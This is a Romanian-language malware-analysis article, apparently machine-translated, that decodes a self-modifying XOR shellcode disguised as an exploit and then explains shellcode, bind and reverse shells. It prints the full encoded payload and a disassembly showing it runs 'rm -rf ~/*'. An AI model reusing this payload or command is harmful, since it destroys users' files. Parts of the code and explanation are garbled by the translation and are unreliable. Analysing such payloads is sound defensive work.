După cum puteți vedea, acesta este un shellcode cu auto-modificare: instrucțiunile de la 0x17 la 0x4B sunt decodificate în timpul execuției prin XORing valoarea lor din AL, care este mai întâi adăugită cu 0xFF și apoi decrementată la fiecare trecere a buclei. După decodare, instrucțiunea este executată (jmp short 0x17). Să încercăm să înțelegem ce instrucțiune este de fapt executată. Putem decoda codul shell folosind Python, Lista 19.

Lista 19. Decodificarea codului shell folosind Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" print "".join()])

O descărcare hexagonală ne va oferi prima idee: uitați-vă la Lista 20.

Hmmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Nu fi prea optimist cu privire la cod! Dar, pentru a fi sigur, să-l dezasamblam, Lista 21.

Prima este o instrucțiune CALL, urmată imediat de o linie care imprimă un dump hexazecimal. Începutul codului shell poate fi rescris în acest fel, vezi Lista 22.

Să salvăm codurile operaționale, începând cu instrucțiunea 0x2a (42), Lista 23:

Lista 23. Verificarea ce funcții sunt apelate$ ./decode_exp.py | tăiat -c 43- | ndisasm -u - 00000000 5D pop ebp ; Preluați adresa șirului de caractere; "/bin/sh" 00000001 31C0 xor eax,eax ; Zero out EAX 00000003 50 push eax ; Împingeți indicatorul nul pe stiva 00000004 8D5D0E lea ebx, ; Stocați adresa ; „rm -rf ~/* 2>/dev/null” în EBX 00000007 53 push ebx ; si impinge-l pe stiva 00000008 8D5D0B lea ebx, ; Stocați adresa „-c” în EBX 0000000B 53 push ebx ; si impinge-l pe stiva 0000000C 8D5D08 lea ebx, ; Stocați adresa „sh” în EBX 0000000F 53 push ebx ; și împingeți-l pe stivă 00000010 89EB mov ebx,ebp ; Stocați adresa „/bin/sh” în ; EBX (first arg to execve()) 00000012 89E1 mov ecx,esp ; Stocați indicatorul de stivă la ECX (ESP ; indică către „sh”, „-c”, „rm...”) 00000014 31D2 xor edx,edx ; Al treilea argument la execve() 00000016 B00B mov al,0xb ; Numărul apelului de sistem execve() 00000018 CD80 int 0x80 ; Executați syscall 0000001A 89C3 mov ebx,eax ; Stocați 0xb în EBX (cod de ieșire=11) 0000001C 31C0 xor eax,eax ; Zero out EAX 0000001E 40 inc eax ; EAX=1 (numărul apelului de sistem exit()) 0000001F CD80 int 0x80 ; Executați apelul de sistem

Din aceasta putem vedea clar că execve(2) este apelat cu o serie de argumente sh, -c, rm -rf ~/* 2>/dev/null. Așa că nu strică niciodată să-ți testezi codul înainte de a intra în direct!

Shellcode este o bucată de cod încorporată într-un program rău intenționat care permite, după infectarea sistemului țintă al victimei, să obțină codul shell de comandă, de exemplu /bin/bash în sistemele de operare asemănătoare UNIX, command.com în MS-DOS cu ecran negru și cmd .exe în sistemele de operare moderne Microsoft Windows. Foarte des shellcode este folosit ca sarcină utilă de exploatare.

Shellcode

De ce este necesar acest lucru?

După cum înțelegeți, nu este suficient să infectați un sistem, să exploateți o vulnerabilitate sau să dezactivați un serviciu de sistem. Toate aceste acțiuni în multe cazuri au ca scop obținerea accesului de administrator la mașina infectată.

Deci, malware-ul este doar o modalitate de a intra pe o mașină și de a obține shell, adică control. Și aceasta este o cale directă către scurgerea de informații confidențiale, crearea de rețele botnet care transformă sistemul țintă în zombi sau pur și simplu îndeplinirea altor funcții distructive pe o mașină piratată.

Shellcode este de obicei injectat în memoria programului gazdă, după care controlul este transferat acestuia prin exploatarea erorilor, cum ar fi depășirile de stivă sau depășirile de buffer bazate pe heap, sau prin utilizarea atacurilor de șir de format.

Controlul este transferat către codul shell prin suprascrierea adresei de retur de pe stivă cu adresa codului shell încorporat, suprascrierea adreselor funcțiilor apelate sau schimbarea gestionarilor de întrerupere. Rezultatul tuturor acestor lucruri va fi execuția shellcode, care deschide linia de comandă pentru a fi utilizată de către atacator.

Când exploatează o vulnerabilitate de la distanță (adică un exploit), codul shell poate deschide un port TCP predefinit pe computerul vulnerabil pentru acces suplimentar la distanță la shell-ul de comandă. Acest cod se numește shellcode de legare la port.

Dacă codul shell este conectat la un port de pe computerul atacatorului (în scopul ocolirii sau scurgerii prin NAT), atunci un astfel de cod se numește cod shell invers.

Modalități de a rula shellcode în memorie

Există două moduri de a rula shellcode în memorie pentru execuție:

  • Metoda codului independent de poziție (PIC) este un cod care utilizează o legare rigidă a codului binar (adică, codul care va fi executat în memorie) la o anumită adresă sau date. Codul shell este în esență un PIC. De ce este atât de importantă legarea strânsă? Shell nu poate ști unde exact va fi localizată RAM, deoarece în timpul execuției diferitelor versiuni ale unui program compromis sau malware, pot încărca shellcode-ul în diferite celule de memorie.
  • Metoda de identificare a locației de execuție necesită ca codul shell să dereferențieze pointerul de bază atunci când accesează date într-o structură de memorie independentă de poziție. Adăugarea (ADD) sau scăderea (Reducere) a valorilor din indicatorul de bază vă permite să accesați în siguranță datele incluse în shellcode.